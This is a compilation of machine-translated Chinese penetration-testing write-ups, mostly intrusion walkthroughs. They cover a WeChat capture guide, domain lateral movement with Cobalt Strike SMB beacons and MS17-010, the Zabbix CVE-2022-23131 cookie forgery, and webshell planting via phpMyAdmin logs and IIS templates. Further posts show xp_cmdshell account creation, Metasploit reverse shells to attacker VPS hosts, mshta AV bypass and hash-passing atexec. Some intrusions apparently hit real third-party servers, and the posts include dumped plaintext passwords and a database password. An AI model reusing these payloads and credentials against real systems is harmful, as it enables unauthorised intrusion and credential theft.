placed in C:\Users\username\Documents\WeChat Files\. If you look through it, you will find that C:\Users\username\Documents\WeChat Files\All Users\config\config.data contains WeChat IDC:\Users\backlion\Documents\WeChat Files\All Users\config\config.data
-
Title: Latest WeChat applet package capture method
1. Install fiddler Official website download: https://www.telerik.com/download/fiddler 2. Configuration Open fiddler tools- options, general: Select all https: connections: Configure the proxy address gateway: 3. Open the computer applet Log out of WeChat and set up an agent when logging in to WeChat Open the applet Successfully captured If it doesn't work Open the applet, open the task manager, find the applet process, and open the file location Log out of WeChat, delete all files under \WMPFRuntime, log in again and open the mini program. C:\Users\backlion\AppData\Roaming\Tencent\WeChat\XPlugin\Plugins\WMPFRuntime .
-
Title: Use Smb to get the network host
0x00 Introduction Before, when I was using a domain environment, the host in the domain did not leave the network. At that time, the socks proxy used to proxy the traffic that did not leave the network host to the edge host. I didn't think too much about it at that time. After I came down, I thought of setting up an environment to reproduce the situation at that time and see if there is a simpler way to build a host that cannot be installed. By chance, I found that the environment in this domain is pretty good. During the reproduction process, some knowledge touched my knowledge blind spots and gained a lot of new knowledge. I specially recorded the process and shared it with the masters who want to learn to build a network host in the domain. 0x01 Range address allocation Intranet segment: 192.168.52.0/24 External network segment: 192.168.10.0/24 Attack aircraft: kali: 192.168.10.11 range: win7 (inside): 192.168.52.143 win7 (external): 192.168.10.15 Domain host: Winserver2003:192.168.52.141 Winserver2008:192.168.52.138 Among them, win7 can communicate with external network and intranet, and the hosts in the domain can only communicate between intranets. At the beginning, DCping does not work with win7, and after closing the firewall, you can ping it. Open the phpstudy directory under C drive to open the web service 0x02 web server penetration nmap probe port nmap -sS -P0 -sV -O 192.168.10.15 Opened port 80, tried to access the web address, found it is a php probe Slide to the bottom and find a MySQL database connection detection at the bottom of the website Weak password root/root connection is successful Scan the background I use the sword here, but it seems to be very hard, because after I finished shooting this shooting range and went online to see that many of them scan out a cms, and they can also get the shell through cms. I won’t demonstrate how to use the weak cms password to enter the background to write the shell. If you are interested, you can search it yourself. I found out that the phpmyadmin directory is or the weak password of root/root login is successful The interface after entering is as follows 0x03 Write shell through phpmyadmin There are two ways to write shells through phpmyadmin First I tried to write to select into outfile directly, but the value of secure_file_priv here is NULL, so the privilege cannot be raised. Only use another method, write shells using global logs SHOW VARIABLES LIKE '%general%' Check the configuration and you can see that the global log is in a closed state. The general_log_file returns the absolute address of the log. Then I will open its global log first, and then write a sentence Trojan into its path set global general_log=on; After opening the global log, modify the absolute path. Note that there is a pit here. The path returned by the log is C:\\phpStudy\\MySQL\\data\stu1.log, but the absolute address accessed by mysql is C:\\phpStudy\\WWW directory, so you must write the shell in this place to the WWW directory before you can connect to it with an ant sword. set global general_log_file='C:\\phpStudy\\WWW\\shell.php'; Here is another sentence Trojan select '?php eval($_POST[cmd]);' Then connect the ant sword You can see that the connection is successful 0x03 Intranet information collection Check the system permissions, it is very comfortable to have the administrator permissions as soon as you start ipconfig /all view network information, domain environment + dual network card Tasklist /svc looked at it briefly and it seemed that there was no such thing as a squid. Thinking that there is no soft-soft killing, it is easier to use the simplest and crudest cs to upload a Trojan exe generated by cs to the target host. Use planned tasks to go online cs Successfully launched 0x04 Intranet penetration Information Collection net view view domain information Use the port provided by CSS to scan a wave of hosts Scan out all hosts as follows hashdump catch a wave of hash Logonpasswords capture a wave of plain text All credentials are as follows. The reason for coding is that the password was reset when logging in before, and I got a password with personal information. Thoughts I tested it here, because the target host does not have a firewall enabled, it can use the Psexec built with CSS to capture the domain control and the computer password in the domain in a horizontal manner. However, given the situation where the win7 dual network card and other hosts in the domain cannot leave the network, practice how to not get out of the host. There are generally the following ways to go online without the Internet: Use smb beacon to configure listener online through HTTP proxy Use pystinger to build socks4 proxy Here I use SMB beacon method SMB Beacon uses a named pipe to communicate through the parent Beacon. When two Beacons are linked, the child Beacon gets the task from the parent Beacon and sends it. Because the linked Beacons uses Windows named pipes for communication, this traffic is encapsulated in the SMB protocol, so SMB Beacon is relatively hidden. SMB beacon cannot directly generate available loads, it can only be launched using PsExec or Stageless Payload. First, get the beacon of a host in the intranet, grab the password and perform smb injection, and get the administrator account password on another machine with open port 445. If the target machine does not leave the network, you can use Smb Beacon brings the target host online 1. Conditions of use Hosts with SMB Beacon must accept connections on port 445. Only links to Beacons managed by the same Cobalt Strike instance. To use this beacon horizontal movement, you must have administrator rights or credentials with administrator rights on the target host. 2. How to use (1) Create smb listener (2) Use psexec in cs for horizontal movement, select the existing beacon as a springboard, the credentials must be administrator , that is, have the target host administrator privileges (3) The connection is successful, you can see that there is a ∞∞ logo on the right side of the host on smb beacon The machine that uses this method to go online mainly through the network outgoing machine as an intermediary. After the host without the network is successfully launched, if the host without the network is disconnected, the host without the network will also be disconnected. 0x05 Intranet horizontal penetration Thoughts Use Ladon to scan the Eternal Blue of the Intranet and find that these hosts all have MS17-010 Several common ways of playing ms17010: msfladon/ladon_ms17010 I have tried these ways of execs plug-in in exessus separated from msf. I won't describe the process one by one, just talk about the results of my test msf is the most stable, but it is a little troublesome to fight because you need to set up monitoring modules and select attack modules. ladon_ms17010 is convenient but not very stable sometimes fails to play. The CSS plug-in is not stable, and the success rate will be lower if the network is not stable without the network. In this case of not leaving the network, you can give priority to using exe and ladon_ms17010 separated from msf to hit. Successfully, a new user will be created through the custom dll and joined the administrator group, opening port 3389, and a sticky key backdoor will be left. According to the actual situation, you can consider logging in remotely directly under the appropriate time period and conditions and flipping through sensitive data, which often brings a lot of convenience to penetration due to many "good habits" of operation and maintenance personnel, such as "password book.txt" cs derived msf session msf sets the listening port Create a new port to create a conversation Run to get meterpreter ms_17_010 Obtain domain control permissions Here I know that DC has the vulnerability of ms_17_010, so I first tried to use Eternal Blue to hit it. Use the following module exploit/windows/smb/ms17_010_eternalblue After running, I found that exp has been hit but no session has been established Change the ms17010 module use exploit/windows/smb/ms17_010_psexec set payload windows/meterpreter/blind_tcp I didn't get the shell either. I didn't think about it carefully at that time. Later, I considered that it might be because Win7 was in two network segments, so I couldn't get the shell by directly hitting Eternal Blue. msf cannot output the network machine's ms_17_010 I thought of getting the meterpreter for win7 before, so I tried it by adding routes Msf is still very stable and fragrant when fighting alone. After win7 was launched in msf, we already knew in advance that there are 5
-
Title: Zabbix login bypass vulnerability recurrence (CVE-2022-23131)
0x00 Introduction Recently, the zabbix vulnerability (CVE-2022-23131) was reproducing it and accidentally got the zabbix server of a foreign company. Zabbix Sia Zabbix is an open source monitoring system of Zabbix SIA (Zabbix Sia) in Latvia. The system supports network monitoring, server monitoring, cloud monitoring and application monitoring. There is a security vulnerability in Zabbix Frontend that a malicious actor can modify session data with SAML SSO authentication (non-default) enabled because the user login stored in the session is not verified. Unauthenticated malicious attackers may exploit this issue to escalate permissions and gain administrator access to the Zabbix front-end. 0x01 Vulnerability Cause With SAML SSO authentication enabled (non-default), a malicious attacker can modify session data to implement authentication bypass. Unauthenticated malicious attackers may exploit this issue to escalate permissions and gain administrator access to the Zabbix front-end. This vulnerability exists in the index_sso.php file. Since the index_sso.php file does not call the CEncryptedCookieSession:checkSign() method to verify the cookie, and the client's cookie can be forged. It can be seen from the index_sso.php file that when saml_data exists in the forged cookie, the username_attribute data is obtained. If the user actually exists, a sessionid will be generated to achieve identity authentication bypass 0x02 Vulnerability Impact 5.4.8 5.0.18 4.0.36 0x03 Vulnerability recurrence fofa: app='ZABBIX-Supervision System' body='saml'Execution curl -ksSIL http://xxx.com/ Get the value of the set-cookie, then perform url decoding, and then base64 decoding URL decoding: eyJzZXNzaW9uaWQiOiIxNzFiODAwOTI4NDQ2MmUxZGRhODAyYWFjODk5MDI2YyIsInNpZ24iOiJ0eTZSZVkzVDRxVEdYenJseFM2ZlpyNTRhT3pCMHBhS25vWHBhZDR3MHdKc2lwNTJ2aUdndytDUlpqeVJyQUJ5WDk5bGhNMVVHbFM4cTRwNjBKb1wvUGc9PSJ9 Base64 decoding: {'sessionid':'171b8009284462e1dda802aac899026c','sign':'ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=='} Then splice the string {'saml_data':{'username_attribute':'Admin'},'sessionid':'171b8009284462e1dda802aac899026c','sign':'ty6ReY3T4qTGXzrlxS6fZr54aOzB0paKnoXpad4w0wJsip52viGgw+CRZjyRrAByX99lhM1UGlS8q4p60Jo\/Pg=='} After splicing, base64 encryption is performed Then in the URLEncode Execute the command Find Administration-- Scripts to create a new script, here I created ifconfig Find the latest data in the monitoring, then filter out the host group you want to execute, click the host name to execute the corresponding command Or the GitHub exploit script: https://github.com/L0ading-x/cve-2022-23131https://github.com/Mr-xn/cve-2022-23131 execute the script, Admin is the default high-permission user, and gets its session value. The zbx_session value in the replacement cookie is payload, and then click Sign in with Single Sign-On (SAML) or use EditThisCookie to replace the cookie value successfully bypassed the login and entered the system. 0x04 Repair method 1. Disable SAML authentication 2. Upgrade the security version (https://support.zabbix.com/browse/ZBX-20350)
-
Title: Environmental penetration testing process in the intranet penetration domain
0x00 Experimental purpose Get the website source code of other hosts in the domain environment 0x01 Penetration idea By obtaining the website shell, the intranet will penetrate into the intranet, and the intranet will obtain the domain control permissions, and then the domain control will penetrate into other domains and obtain the resources. 0x02 Experimental process Visit the target website IP and found that it is a static website. I found that the front desk of the website cannot be used. Try to explode the backend of the website Using Yujian to scan the background, no background login interface was found, but the robots.txt file was found. Check robots.txt to find that there is a website background directory inside. Visit the website backend page Try to use burp brute force cracking, and find that the website backend administrator account password is successfully blasted. Use the blasted administrator account password to successfully log in to the website backend (PS: select full function login when logging in) I found that the template folder name can be modified at the interface style template selection. We changed the template folder name to 1.asp and tried to use the IIS parsing vulnerability. Then add the aspx sentence Trojan to html file at the interface style edit template/css file to add template Using a kitchen knife to successfully connect to the Trojan horse we wrote Use a sentence Trojan to upload an aspx horse to facilitate operation Check and find that the host is a dual network card, and you get two intranet IP segments. Check the cache information of the host to find several intranet IPs Checking and finding that 192.168.152.173 has enabled port 1433, we speculate that it may be a data server Check the website configuration file and discover the database account password Using aspx Malaysia successfully logged in to the database and found that it was system permission View all user names in the domain Query the domain group name View the list of computers in the current domain Query Domain Administrator Use the database shell to add an account and add it to the administrator group It was also found that 192.168.152.173 opened port 3389 Use reGeorg+Proxifier to set up a proxy to try remote login Use the administrator account password we added earlier to successfully log in to the remote desktop. When logging in, configure options and mount the local tool folder to the target machine. Log in to remote desktop successfully Upload a QuarksPwDump.exe using file share, then use QuarksPwDump.exe to grab the system administrator password hash and export it to a txt file Using MD5, I found that it cannot be solved We know that the hosts in the domain have certain naming rules. When you check the website that gets the shell, you will find that the root directory of the website is named game.fbi.gov.us. Through manual testing, you will find a website with the domain name oa.fbi.gov.us. Visit our oa.fbi.gov.us domain name discovery is a source code library log management system Try to use the asp universal password to bypass login. Account: liufeng’ or ‘1’=’1 password is arbitrary, and log in to the background successfully The storage xss is found in the addition log Click on the log we added to check the properties and find the URL of the log added Test whether the URL obtained has injection, and it is found that it has an error of 500. We use the D injection tool to log in to the website backend Then I tried to inject the URL and found that the administrator password was successfully injected. Username did not come out for some reason, but the problem was not big. We have already obtained several usernames above, not many, so we can try them one by one. Use the username and password we visited before to try to log in to other hosts in the domain Log in to other hosts successfully, and then we can view and download files from other PCs in the domain 0x03 Summary 1. Accessing the target website IP is a static website. It is found that the website front desk cannot be used. It scans its directory through the Yujian directory scanning tool. It is found that robots.txt exists. It is found that robots.txt exists. It is found that there is a website backend page. Although there is a verification code in the background, the verification code has a long time. It can be blasted through bp, and the user name and password are successfully destroyed. It is admin/passw0rdhttp://39.106.226.95:9235/admin3. Scan the target website IP through namp and find that the system is Windows iis6.0, and port 80 is enabled. 14. I found that the template folder name can be modified at the interface style template selection, and the template name can be modified to 1.asp15. Then add the template name 1.html in the interface style edit template/css file to add the template, and the content is a sentence of asp%eavl request('pass')%16. Successfully connect a sentence through the kitchen knife, and then upload ASPX through the kitchen knife to go immediately. 17. Through the command execution of aspx Malaysia, check the IP address of the network card, and find that there are 2 network cards, one network card IP address 192.168.152.182, and the other network card is 192.168.79.128cmdpath:c:\windows\system32\cmd.exeargument:/c ipconfig18. Check the cache information of the host and find several intranet IPs (192.168.152.182, 192.168.152.173, 192.168.152.180)cmdpath:c:\windows\system32\cmd.exeargument:/c arp -a19.Using the portscan function of aspx Malaysia, we found that 1433 and 3389 ports 20 were enabled. View the website configuration file and found that the database account password 21.Using the database function of aspx Malaysia successfully logged in to the database, and found that the system permissions connstring:server=192.168.152.173;UID=sa;PWD=piy88PRO*JNJ24e3;database=master;provider=SQLOLEDBSQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'whoami'22. Query all user names in the domain SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'dequery user'23. Query the domain group name SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net group /domain'24. Check the list of computers in the current domain and find that there are host names such as web-server, file-server, db-server, etc. SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net view'25. Query the domain administrator, SQLEXEC: for administrator user SQLEXEC: XP_cmdshell_execrun sql:Exec master.dbo,xp_cmdshell 'net group 'domain admin' /domain'26. Use the database shell to add an account and add it to the administrator group Exec master.dbo,xp_cmdshell 'net user ddd password#111 /add'Exec master.dbo,xp_cmdshell 'net localgroup administrators ddd /add'13. Upload the aspx script file of reGeorgSocksProxy to the target system through aspx (39.106.226.95) and access the link http://39.106.226.95:9235/tunnel.aspx14. After configuration, reGeory is used to open up the local and target channels, and execute python reGeorgSocksProxy.py -p 8888 -l 0.0.0.0 -u http://39.106.226.95:9235/tunnel.aspx 15. Set up the socks4 proxy on the proxifier and add the proxy socks4 127.0.0.1 888816. Load mstsc through proxifier for remote desktop login 192.168.152.173. Configure options when logging in remotely and mount the local tool folder to the target machine 17. Upload a QuarksPwDump.exe using the file share, then use QuarksPwDump.exe to grab the system administrator password hash and export it to a txt file. It was found that MD5 could not be unwrapped 18. There is another directory in the root directory of the website, which is oa.fbi.gov.us. Then, access this directory command directly as a website domain name, and find that it is a source code library log management system. 19. Try to use the asp universal password to bypass login. Account: admin’ or ‘1’=’1 password is arbitrary, and log in to the background successfully 20. Find that there is a storage type xss21. Click the added log to check the attributes. Find the URL http://oa.fbi.gov.us/logive.asp?id=39422. Use the Ah D injection tool or the sqlmap tool to successfully inject the username and password 23. Try to use the successfully injected username and password to successfully log in on the desktop. Original link: https://blog.csdn.net/weixin_44991517/article/details/93896401
-
Title: See how I quickly get permissions to the entire C segment host
0x01 Introduction Date/time: In 2015, during this penetration test, it was found that the administrator passwords of several machines that had been obtained had certain regularities. Finally, by analyzing the password rules and combining new passwords, I successfully obtained the entire C-segment machine permissions of the target. I personally feel that this is a good practical case of universal/regular passwords in the intranet, so I thought it would be better to record it. 0x02 Getshell process Website basic information detection: Target site: http://www.that****elos.com.br Server IP: 189.**.**.204 (Brazil) Environmental Platform: ASP.NET Server system: The Windows website prohibits domestic IP access, so I can only go to the wall to do the test. I first use Chrome browser plug-in and fingerprint recognition website to not get the specific version of the server system. However, based on my personal experience, this should be Windows 2003. Chrome browser plug-in: Server Details 1.0.12, Wappalyzer Server system identification: http://fuwuqixitongshibie.51240.com/?q= Website backend address: http://www.that****elos.com.br/admin/Then we used the Safe3WVS_v10.1 vulnerability scanning tool to successfully find several injections, and used the sqlmap tool to verify that this injection point does exist and has already run out of the administrator's table and column, but an error was reported when running the administrator user password. Running watch name: sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' --tables [7 tables]: categoryas, clients, destaques, itens, pedidos, produtos, usuarios running column names: sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' -T 'usuarios' --columns [5 columns]: codusuario, email, login, nome, senha run data: sqlmap -u 'http://www.that****elos.com.br/detalhe_produto.asp?codProd=510' --dbms access -T 'usuarios' -C 'email,login,senha' --dump --threads 10 Don't worry about why there is an error when SQLmap runs data. Since the administrator's table and columns have been obtained, you can directly use other injection tools to run the administrator user password, such as: A D, Ming Xiaozi and other injection tools, use it flexibly! Through this injection point, I successfully obtained the website administrator account and password, logged into the website background and found an upload without any filtering, and directly passed an ASP picture horse, and successfully obtained the Webshell permissions of this site. 0x03 Practical power promotion process Server basic information detection: Ports open: 21, 80, 135, 443, 445, 873, 65432 Patch status: 750+ system patches were applied (Windows 2003 x86) Script detection: only supports ASP script files, not PHP or ASPX Disk permissions: Some folders in the C disk have readable/write permissions. They cannot be cross-site for so long. It is the first time that they encountered a 2003 machine with 750+ patches. Although they know that the probability of using EXP to obtain EXP is not high, they still have to try it. Maybe it will be "successful". After trying the following EXPs, the final result was expected and failed. pr.exe, Churrasco.exe, 2003.exe, NDProxy.exe, iis6.exe, MS11-046.exe, MS10-048.exe, MS11-080.exe, MS13-051.exe, debug.exe. Let's try the ms14_058_track_popup_menu privilege escalation module again. Since the target prohibits access to domestic IP addresses, the target machine session cannot be obtained after running the attack payload file, so the author tests on a foreign VPS. root@c2unix:~# msfpayload windows/meterpreter/reverse_tcp LHOST=37.*.**.52 LPORT=443 X /media/sf_Temp/test.exemsf use exploit/multi/handler msf exploit(handler) set payload windows/meterpreter/reverse_tcp msf exploit(handler) set lhost 37.*.**.52 msf exploit(handler) set lport 443 msf exploit(handler) exploit [*] Started reverse handler on 37.*.**.52:443 [*] Starting the payload handler. [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 1 opened (37.*.**.52:443 - 189.**.**.204:1150) at 2015-01-01 13:48:01 +0000 View the current session permissions and system information, and tried to use getsystem to increase the privileges. Unsuccessful, put the current session in the background and continue to load the ms14_058_track_popup_menu increase the privileges module for testing. meterpreter getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter sysinfo Computer : WEB200 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 System Language : pt_BR Meterpreter : x86/win32 meterpreter background [*] Backgrounding session 1.msf exploit(handler) use exploit/windows/local/ms14_058_track_popup_menu msf exploit(ms14_058_track_popup_menu) set payload windows/meterpreter/reverse_tcp msf exploit(ms14_058_track_popup_menu) set lhost 37.*.**.52 msf exploit(ms14_058_track_popup_menu) set lport 443 msf exploit(ms14_058_track_popup_menu) set session 1 msf exploit(ms14_058_track_popup_menu) exploit [*] Started reverse handler on 37.*.**.52:443 [*] Launching notepad to host the exploit. [+] Process 11464 launched. [*] Reflectively injecting the exploit DLL into 11464. [*] Injecting exploit into 11464. [*] Exploit injected. Injecting payload into 11464. [*] Payload injected. Executing exploit. [+] Exploit finished, wait for (hopefully privileged) payload execution to complete. [*] Sending stage (770048 bytes) to 189.**.**.204 [*] Meterpreter session 2 opened (37.*.**.52:443 - 189.**.**.204:1788) at 2015-01-01 14:03:44 +0000 Here we can see that using the ms14_058_track_popup_menu privilege raising module gets a new meterpreter session, but it is still ordinary permissions. This situation has been encountered many times in previous practical cases. The specific reason is unknown and I have not studied it in depth. meterpreter getuid Server username: $U$AUTORIDADE NT\SERVIO LOCAL-0x4155544f524944414445204e545c5345525649c74f204c4f43414c meterpreter getsystem [-] priv_elevate_getsystem: Operation failed: Access is denied. meterpreter hashdump [-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.ms14_058_track_popup_menu's authority upgrade module failed. The author fell into deep thought. and suddenly thought that there was an incognito expansion under meterpreter, which can be used to steal the token of the target host or impersonate users. Let’s first look at several administrator users in this server, which is convenient for finding the administrator tokens later. You can see that in addition to the default Administrator, there is also a cronjob. list_tokens -u lists available user tokens. There are too many available user tokens listed here. The author used.Snip. to omit a part. You can see that there is a cronjob administrator token in the available user token. List available user tokens: meterpreter use incognito Loading extension incognito.success. meterpreter list_tokens -u [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ===================================================== AUTORIDADE NT\SERVI?O LOCAL WEB200\aewcorp WEB200\attcorreia WEB200\cronjob WEB200\sueddesigner .Snip. Impersonation Tokens Available ===================================================== WEB200\aluggo WEB200\ciacompropaganda WEB200\datahome WEB200\ipirangacontabil WEB200\web200 .Snip.fake cronjob user token: meterpreter impersonate_token WEB200\\cronjob [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user WEB200\cronjob meterpreter getuid Server username: WEB200\estoquedomarmorista meterpreter hashdump .Snip. The current machine IP address is: 189.**.**.204, remote port number: 65432, computer name: WEB200, the target system clear text password captured using the mimikatz French artifact under meterpreter is as follows, and the administrator hash password cannot be cracked (=16 bits). 0;980627246 NTLM WEB200 Administrador w3b200r0x0271114 0;3450401626 NTLM WEB200 cronjob 016b2023ee9b897ca643 0;1214252650 NTLM WEB200 web200 p1cadasgalaxi4s 0;1236893630 NTLM WEB200 thatycabelos vbs147369 0;74485534 NTLM WEB200 iis_user 123abc!#Using some common vulnerabilities, I got the Webshell permissions of the 189.**.**.9 and 189.**.**.55 servers in segment C. When I elevated the authority, I found that there were many similarities with the 204 server I just mentioned. Such as: some folder permissions, uploading cmd.exe execution commands, server system host name, some command permissions are insufficient, the same remote port number, etc. It’s just that we cannot execute the EXP that we uploaded ourselves, and the0x2331 error is prompted, as shown in the figure below. However, it seems that as long as the server restarts, the EXP can be executed normally, or you can try to change the uploaded EXP suffix to TXT. 0x04 Password/domain name rules Based on some information and personal experience obtained on several machines, it is basically possible to determine that all machines in this C segment are the same administrator, so the passwords used by the administrator must be found in a regular way. Next, let’s analyze the rules of its password together. (1) Password rule analysis Commonly used administrator users on several machines include: Administrador, cronjob. 189.**.**.204 The Administrador password of this server is: w3b200r0x0271114. The password rules are mainly related to the 3-digit numbers in the host name and have nothing to do with the IP address. w3b=fixed value, 200=computer name (3 digits), r0x0271114=fixed value Use the WPS table function to extract the host name 3 digits:=RIGHT(H2,3), combine a new password:=B2C2D2, and finally combine the administrator passwords of the two machines C segments 189.**.**.9, 189.**.**.55 through the password rules, as shown in the figure below. At present, it can only be known through the controlled machine. So how can we get its host name when we do not get the Webshell permissions of other machines in segment C? Or is there a way to directly enter other servers in Section C? Of course there is, here only one idea is provided. Blasting ideas: The default RDP port is 3389, and the RDP ports of several machines obtained are 65432. We can generate an efficient dictionary based on the password found to RDP blast all IPs in this segment 189.**.**.X, and control the 3-digit number of the host name to 300. If it does not work, then increase it. w3b200r0x0271114 w3b201r0x0271114 w3b202r0x0271114 w3b203r0x0271114 w3b204r0x0271114 w3b205r0x0271114 w3b206r0x0271114 w3b207r0x0271114 w3b208r0x0271114 w3b209r0x0271114 w3b210r0x0271114 .Snip. (2) Domain name rule analysis I saw a subdomain like "hostname.test.net" many times in the test. After visiting several, I confirmed my idea: the administrator resolved such a subdomain on each server, and the naming rule is: hostname.test.net. After knowing the domain name rules, you can save the webshell and get the host name directly. Finally, you can enter other machines in Section C by combining passwords. After testing more than 10 units, it is OK. Image metaphor: All machines in Section C fall=Password rules + Hostname + Domain name rules, Password rules=Father, Hostname=Son, Domain name rules=Mother, father and mother both need sons. Only living together can be considered a complete family, and neither is missing. Ideas expansion: Generate an efficient "host name.test.net" subdomain dictionary according to the domain name rules, and control the host name to 300. Then, batch ping these subdomains through scripts to obtain the IP address and corresponding host name of the C-segment surviving machine, and then combine the new password according to the password rules. web200.test.net web201.test.net web202.test.net web203.test.net web204.test.net web205.test.net web206.test.net web207.test.net web208.test.net web209.test.net web210.test.net .Snip.We can directly use the WPS table function to combine a new password:=B2(RIGHT(LEFT(E2,6),3)D2), and finally combine the administrator passwords of all surviving machines in segment C through the password rule, as shown in the figure below. 0x05 Summary In the internal/domain environment, we often encounter common/regular passwords. Generally, we use host name, IP address, year and common characters 123/qwe/!@#, etc. as rules. We can also analyze the common points and rules of various passwords such as website background, middleware, database, third-party software, etc. and then combine and generate efficient dictionaries for blasting. To borrow a sentence from @江天: The essence of infiltration is information collection. 1. Collect information on the target system. Here, the system is Windows 2003 IIS6.0 through the online CMS fingerprint. It is found that the website administrator background directory is admin2 through the Yujian directory scanning tool. The user name and password scan tool were successfully found. Several injections were found using the Safe3WVS_v10.1 vulnerability scanning tool, and used the sqlmap tool to verify that this injection point does exist, and the administrator's table and column have been run out, but the user name and password can not be run out: sqlmap -u
-
Title: Record a practical case of bypassing the turquoise security and power promotion
0x01 Introduction A friend sent a website to help me check out the power-elevation. The server installed security software such as Guardian + Turfur + Security Dog. It looks really scary. He also tried a lot of commonly used power-elevation EXP, but all failed. Maybe it was because he lacked the ability to kill EXP. Of course, it might be that he had fixed these loopholes. He took the time to read it for him and wrote this record article. After obtaining the permission, I connected it with a Chinese kitchen knife, but it seemed to be intercepted. The prompt: The server returns an invalid or unrecognized response. I have encountered this situation many times before. Just change it to Godzilla and connect normally. 0x02 Collect basic information of server Although my friend provided some information after the test, I am still used to reading it myself, because everyone has different knowledge points and practical experience. Only after reading it myself can I know which environments, WAF/AV and third-party software are installed, which ports are opened, how many patches have been put into, etc. so as to better test their system weaknesses. Target system: Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Current permissions: iis apppool\****.com supports scripts: ASP, ASPX, PHP, and can directly execute system commands. Open ports: 21(ftp), 80(http), 135(rpc), 443(https), 445(smb), 801(http), 3306(mysql), 2121(G6FTP), 8021(G6FTP), 6588(hws), 58895(TermService) Process name: G6FTPServer.exe, G6FTPTray.exe, HwsHostPanel.exe, mysqld.exe, php-cgi.exe, SafeDogUpdateCenter.exe, CloudHelper.exe, SafeDogGuardCenter.exe, SafeDogGuardCenter.exe, SafeDogGuardHelper.exe, SafeDogGuardHelper.exe, SafeDogGuardHelper.exe, HipsTray.exe, HipsDaemon.exe, usysdiag.exe The servers run: Turquoise, Guardian Host Master, Server Security Dog, MySQL database and G6FTP. You can try to increase the authority: Guardian Host Master, MySQL and G6FTP. However, during the process of raising the authority, you must pay attention to the detection and interception of Turquoise and Server Security Dog, so as to avoid being discovered by the administrator as much as possible. 0x03 Bypass Tinwood to get MSF session Personally, we are used to raising power under MSF. First of all, we will find a way to get a session. Turfur will intercept the powershell execution and kill hta_server's hta file by default, so these two methods do not work here. Here we directly use the mshta whitelist to obtain the MSF session. First, execute the following command to generate shellcode and execute listening, and then replace the shellcode in the exp.hta file with MSF shellcode. [root@p1600778655 ~]# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw /tmp/shellcode.bin[root@p1600778655 ~]# cat /tmp/shellcode.bin | base64 -w 0msf6 exploit(multi/handler) set payload windows/meterpreter/reverse_tcpmsf6 exploit(multi/handler) set lport 443msf6 exploit(multi/handler) exploit Then we use Python to enable a temporary web for remote calls on VPS, and then go to the ASPX Malaysia command execution function to execute the exp.hta file with mshta.exe included in the system and then go online. python -m SimpleHTTPServer 8888python3 -m http.server 8888 0x04 SAM registry key export hash My friend has tested a lot of EXPs in the early stage. In addition, the Guardian Host Master is a higher version, and MySQL has also been demoted, so I will no longer test these conventional methods. You can still try G6FTP, but I am using another unconventional method. The principle is also very simple to directly use the method mentioned in the article 《西部数码云主机失败提权案例》. When the SAM registry key has Users or Everyone's read permission, you can use the hashdump module under MSF to export the hash. meterpreter getuidmeterpreter load powershellmeterpreter powershell_shellPS Get-Acl -Path HKLM:\SAM\SAM | Format-Listmeterpreter run post/windows/gather/hashdump 0x05 atexec enhances System permissions The host hash has been exported using the SAM registry key permission problem, but it still faces some problems, such as: no clear text password, no hash cannot be cracked, no user cannot be added, etc. How should we conduct the next test when encountering this scenario? At this time, we can try to use the remote command execution tool that supports HASH delivery to execute system commands. Here we use atexec in the remote command execution function of the Impacket suite to demonstrate. Other tools that support hash delivery and utilization methods are as follows. Port 135: WMIcmd/sharpwmi/WMIHACKER/Sharp-WMIExec; Impacket: psexec(445)/wmiexec(135)/smbexec(445)/atexec(445); Utilization method: Local local execution, Socks4/5 proxy, Metasploit virtual routing table; here we first add the current MSF session to the virtual route, then use the socks_proxy module to open a socks5 proxy, modify the proxychains.conf configuration file, and finally use the proxychains proxy tool to execute atexec. meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bg msf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run Kali's proxychains configuration is /etc/proxychains.conf by default, and the proxychains4 configuration that is compiled and installed by itself is in the root directory /src/proxychains.conf. I won't explain how to modify it. There are examples in the configuration file. [root@p1600778655 src]# vi /srv/proxychains/src/proxychains.conf When using the proxychains proxy tool to execute atexec, the following error may occur, and no command execution echoes, but we can first use the Ping9o**mf.dnslog.cn command to see if the execution is successful. If DNSLog receives data, it means it is successful. [root@p1600778655 ~]# proxychains4 -f /srv/proxychains/src/proxychains.conf python3 /srv/impacket/examples/atexec.py -hashes :ebdccc154cadcda7f5ef0a2149274f3c administrator@59.***.***.230 'cmd /c ping 9o**mf.dnslog.cn' After confirming that the command execution is successful, we start another command terminal and enable MSF listening, and then use the proxychains proxy tool to execute atexec. Here we can get the target host SYSTEM after executing the exp.hta file used before. meterpreter run get_local_subnetsmeterpreter run autoroute -s 59.***.***.0/255.255.255.0meterpreter bgmsf6 auxiliary(server/socks_proxy) set username testmsf6 auxiliary(server/socks_proxy) set password 123456msf6 auxiliary(server/socks_proxy) run Pitfall Record-1: If the current MSF session is not added to the virtual route, even if the Socks5 proxy is turned on, the proxychains proxy tool cannot be used to execute atexec. The following error message will be reported, because the MSF's Socks module opens a Socks proxy on the VPS. It cannot communicate with the target port 445 before adding the virtual route. Unless the Socks proxy is turned on on the target host, and then the Socks enabled by the target can be connected locally to communicate with the target port 445. Pitfall record-2: Socks proxy 